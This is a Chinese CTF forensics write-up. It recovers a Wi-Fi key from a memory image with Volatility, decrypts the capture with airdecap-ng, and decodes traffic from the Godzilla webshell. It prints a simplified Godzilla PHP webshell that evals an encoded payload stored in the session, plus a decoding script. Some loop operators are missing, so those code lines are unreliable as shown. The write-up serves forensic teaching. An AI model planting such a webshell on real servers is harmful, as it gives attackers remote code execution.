序
wifi题,是一个师傅快结束的时候丢给我的。那货啥也不说,丢了一串密文过来,后面才知道是哥斯拉,他解题的方法比较强(邪门),我就老老实实根据哥斯拉的加密逆过去了。
题目
网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:(本题仅1小问)
小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)。
观察&题解
说实在,这个wifi题属于电子取证类型,一开始我也没啥头绪怎么下手。
1.确认信息
服务器pcap,包序27之前基本都是加密流量,没啥好看的
但是在包序27的地方上传了马
客户端的pcap,很规律的加密,但是我们仍能找到有用的信息:
SSID=My_Wifi、HuaweiDe_4c:55:ec、flage
剩下一个东西就是:windows7-dde00fa9.vmem,这属于VM的东西,突破口就在这里了。
丢kali里面用Volatility,插件不插件这题无所谓啊,我都没搞。【有个坑,2021的kali好像不自带这东西】
2.取证过程(图片太糊见谅,虚拟机里的)
到这一步,要咋搞呢。其实还是内存取证,取证就是信息收集,只是换了一个方法就是——分离。我这里比较懒,直接py文件调用。
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem imageinfo
看看基本信息,忽略那堆报错,我没调用插件导致的。Win7SP1x86_23418/pe格式
因为这题是wifi题,题干中又说在靶场里传马子,上面识别出来是windows机器,看看他有没有做网络配置了
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem --profile=Win7SP1x86_23418 cmdscan
这是比较理想状态下,我们直接查cmd命令执行了什么,似乎真的做了配置,而且export(导出)了!
辣就梭哈文件了,win嘛直接梭哈一波rar和zip就行了
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan |grep -E "rar|zip"
东西有点多,但是看到了熟悉的名字My_Wifi.zip,就是客户端pcap里的SSID了!
其他就先不管,先把My_Wifi.zip分离出来,看看是个啥。
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./
D就是 dir的意思,./就是导出在本地。导出是.dat文件,而且还加密了!肯定有猫腻啦!
至于怎么解码,这个好玩了,我和某位师傅在斗法。我也有点懵,解出来是0kb。
找密码的时候,我很鸡贼的换了win的环境,因为被某个大神坑习惯了,他密码从来都在描述里,所以我丢到我的win环境里看。描述信息有东西哇,密码在网卡的GUID里。
网工人都知道网卡的GUID和接口绑定,上面那位师傅直接grep { 梭哈了。我就一条命令完事,直接查接口!
代码语言:javascript复制vol.py -f Windows 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"
记住!!把花括号也填进去,题干说的!!!我上面解压出0kb就是我没把花括号丢进去。
解压出来是xml文件,看看里面有啥东西吧。AES、passPhrase、 233@114514_qwe,应该是某个加密文件的密码,题目里也只剩下一个东西被加密了,那就是客户端pcap了。
无线方面kali也有工具,用最普通的工具去跑——airdecap-ng
代码语言:javascript复制airdecap-ng -e My_Wifi -p 233@114514_qwe khd.cap
参数怎么来的呢 -e 指定目标网络ssid,-p 密码
SSID=My_Wifi,密码233@114514_qwe,那么也衔接上了xml就是用来解码这个包的!
对比一下两个包
解码前
解码后
3.流量分析&木马分析
不得不说,这里追包蛮累的,服务端一大堆一大堆的。
服务端追到包序26、27,会发现明显的分界线。结合题干,应该就是传马的地方了。
不多说,直接解开吧,顺序 urldecode->rev(翻转) -> base64
我觉得上次写蚁剑的不够直观,我直接放代码块里写算了。
我觉得上次写蚁剑的不够直观,我直接放代码块里写算了。
代码语言:javascript复制@session_start();//创建会话
@set_time_limit(0);//防超时
@error_reporting(0);//关闭报错页
function encode($D,$K){
for($i=0;$i<strlen($D);$i ) {
$c = $K[$i 1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}//加密算法,对$D进行加密
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
//这里是简化了马子,本来是三个参数再进行下面的运算
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);//base64加密
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);//session中的eval函数记录payload,这里是哥斯拉的强特征
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);//前后16位是md5,中间是base64加密
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}//将payload存入session中
}
}
就地取材啊,官方都写好给你了,就直接用官方的解吧。在解密后的客户端pacp追包到包序1198,即是最后一个会话。进行提取。
不要拒绝官方的好意,直接拉过来用,配合一下gzdecode函数就完事了。我太久没写php了,Print一直敲成printf,最近在捣鼓逆向,伪代码看多了。
代码语言:javascript复制<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i ) {
$c = $K[$i 1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=';
echo gzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));
?>
在线php执行网站,选5.x的就行,跑一下结果就出来了。
电子取证
电子取证也是属于蓝队的一部分,可以独立出来作为一个技术分支,也可以归入应急响应里面。我电子取证方面还是挺菜鸡的,这题也是靠线索关联堆起来的。如果各位师傅有什么新思路或者新工具可以留言啊,多多益善!
最后解哥斯拉的方法,和我对线的师傅他们是直接用放进哥斯拉里面,然后让哥斯拉帮忙解码,看到flag的,不得不说是一种很好的方法!我这里是从马子入手去分析,希望对各位有帮助。
我后续会把之前应急响应日志分析那篇填上,然后这次比赛的其他wp也会陆续更新。最近也是比较忙的,见谅。
我只是一个还在成长的安全分析师和随叫随到的应急响应工程师,有疑问和合作请各位大佬留言。